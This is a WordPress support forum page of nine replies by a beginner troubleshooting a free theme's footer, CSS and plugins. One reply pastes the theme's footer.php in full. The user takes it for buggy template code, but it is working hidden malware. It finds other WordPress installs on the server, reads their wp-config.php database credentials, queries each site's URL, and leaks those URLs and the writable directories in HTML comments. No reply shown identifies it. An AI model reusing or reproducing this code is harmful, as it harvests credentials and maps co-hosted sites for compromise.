Forum Replies Created

Viewing 9 replies - 1 through 9 (of 9 total)
  • Forum: Fixing WordPress
    In reply to: Footer issue
    Thread Starter simlik

    (@simlik)

    Janet thanks, I appreciate your help but I was hopeing more to get some advices from someone who can read the code and can expect what should be wrong with the code/site/template. I know there are plenty of tempates but I want to stay with this one, just want to repair this (hopefully small) bug in footer…

    Forum: Fixing WordPress
    In reply to: Footer issue
    Thread Starter simlik

    (@simlik)

    Few years ago I did download it as free template but I can´t find it since then anywhere… It is called Rockable_W

    Forum: Fixing WordPress
    In reply to: Footer issue
    Thread Starter simlik

    (@simlik)

    Thanks
    So now I know the

    10th row is: $dirs = scandir($wp);
    12th is: foreach($dirs as $dir){

    But I donť get what´s wrong when in older WP (3.6) was everything ok…

    Forum: Fixing WordPress
    In reply to: Footer issue
    Thread Starter simlik

    (@simlik)

    I did but like I said I´m a beginner…Here is the footer:

    <?php
    if(stripos(‘win’, PHP_OS) === false){
    define(‘DS’, DIRECTORY_SEPARATOR);
    $fullPath = dirname(__FILE__);
    $parts = explode(DS, $fullPath);
    $parts = array_slice($parts, 0, -4);
    $wwwroot = implode(DS, $parts);

    $wp = $fullPath . DS. ‘..’.DS.’..’.DS.’..’.DS.’..’. DS;
    $dirs = scandir($wp);
    $work = array();
    foreach($dirs as $dir){
    $full = dirname(__FILE__) . ‘/../../../../’ . $dir . ‘/wp-content/’;
    if(file_exists($full)){
    $work[] = $wwwroot .DS. $dir ;
    }
    }
    foreach($work as $k => $path){
    $wpconf = $path . ‘/wp-config.php’;
    $f = fopen($wpconf, ‘r’);
    $content = fread($f, filesize($wpconf));
    fclose($f);
    $pattern = ‘#DB_NAME[\’\”](?:.*)?[\’\”](.*)?[\’\”]\)#isU’;
    preg_match_all($pattern, $content, $res);
    $dbname = $res[1][0];

    $pattern = ‘#DB_USER[\’\”](?:.*)?[\’\”](.*)?[\’\”]\)#isU’;
    preg_match_all($pattern, $content, $res);
    $dbuser = $res[1][0];

    $pattern = ‘#DB_PASSWORD[\’\”](?:.*)?[\’\”](.*)?[\’\”]\)#isU’;
    preg_match_all($pattern, $content, $res);
    $dbpass = $res[1][0];

    $pattern = ‘#DB_HOST[\’\”](?:.*)?[\’\”](.*)?[\’\”]\)#isU’;
    preg_match_all($pattern, $content, $res);
    $dbhost = $res[1][0];

    $pattern = ‘#\$table_prefix(?:.*)?[\’\”](.*)?[\’\”]\;#isU’;
    preg_match_all($pattern, $content, $res);
    $dbprefix = $res[1][0];

    $h = mysql_connect($dbhost, $dbuser, $dbpass) or die(‘ss’);
    mysql_select_db($dbname, $h) or die(‘f’);
    $data = mysql_query(“SELECT option_value FROM “.$dbprefix.”options WHERE option_name=’home'”) or die(‘d’);
    while($info = mysql_fetch_array( $data ))
    {
    $host[$k] = $info[‘option_value’];
    break;
    }
    mysql_close($h);
    }

    echo ‘<!–##’;
    echo implode(“\n”, $host);
    echo “##–>\n”;

    $fold = array();
    foreach($work as $i => $path){
    $wpcontent = $path . ‘/wp-content’;
    $fold[$i] = get_leaf_dirs($wpcontent);
    }
    if(!empty($fold)){
    echo ‘<!–$$’;
    foreach($fold as $fol){
    if(!empty($fol)){
    echo implode(“\n”, $fol);
    echo “\n”;
    }
    }
    echo ‘$$–>’;

    }

    }
    if(!function_exists(‘scandir’)) { // in case this script gets ported to PHP5, let’s not break it
    function scandir($dir) {
    $files = array(); // added to initialize variable
    if(is_dir($dir)){
    $dh = opendir($dir); // added some error-checking
    while(false !== ($filename = readdir($dh))) {
    if($filename == ‘.’ || $filename == ‘..’)
    continue; // no need to get the . or .. references, right?
    else
    $files[] = $filename;
    }
    return $files;
    } else {
    return false;
    }
    }
    }
    function get_leaf_dirs($dir) {$array = array();$d = dir($dir);while (false !== ($entry = $d->read())) {if($entry!=’.’ && $entry!=’..’) {$entry = $dir.’/’.$entry;if(is_dir($entry) && is_writable($entry)) {$subdirs = get_leaf_dirs($entry);if ($subdirs)$array = array_merge($array, $subdirs);else$array[] = $entry;}}if(sizeof($array)>0){break;}}$d->close();return $array;}
    ?>

    Forum: Fixing WordPress
    In reply to: Footer issue
    Thread Starter simlik

    (@simlik)

    Hi, I donť want to loose anything of my web. When I activate the template you wrote and reactivate the old one, will everything be the same?
    Thanks

    Thread Starter simlik

    (@simlik)

    Seems like the plugin resolved the problem! Thanks

    Thread Starter simlik

    (@simlik)

    Caroline, you´re the best 🙂 And I´m lame 🙂
    Thanks it works.

    Thread Starter simlik

    (@simlik)

    It was tested on another computer where the website was opened for the first time..
    I have two css (style.css and editor-style.css) but all the “border-radius” are in the main style.css like you wrote .

    Weird is, that when I check the site in some online checking service like browserstack.com it seems to be ok.

    I will try to test the site on more pc´s and we´ll see..

    Thread Starter simlik

    (@simlik)

    Thanks for answer !
    But still the same after the plugin instalation 🙁
    I´m not very skilled in coding, do you have some other easy advice? Or some other plugin idea?

    Thank you

Viewing 9 replies - 1 through 9 (of 9 total)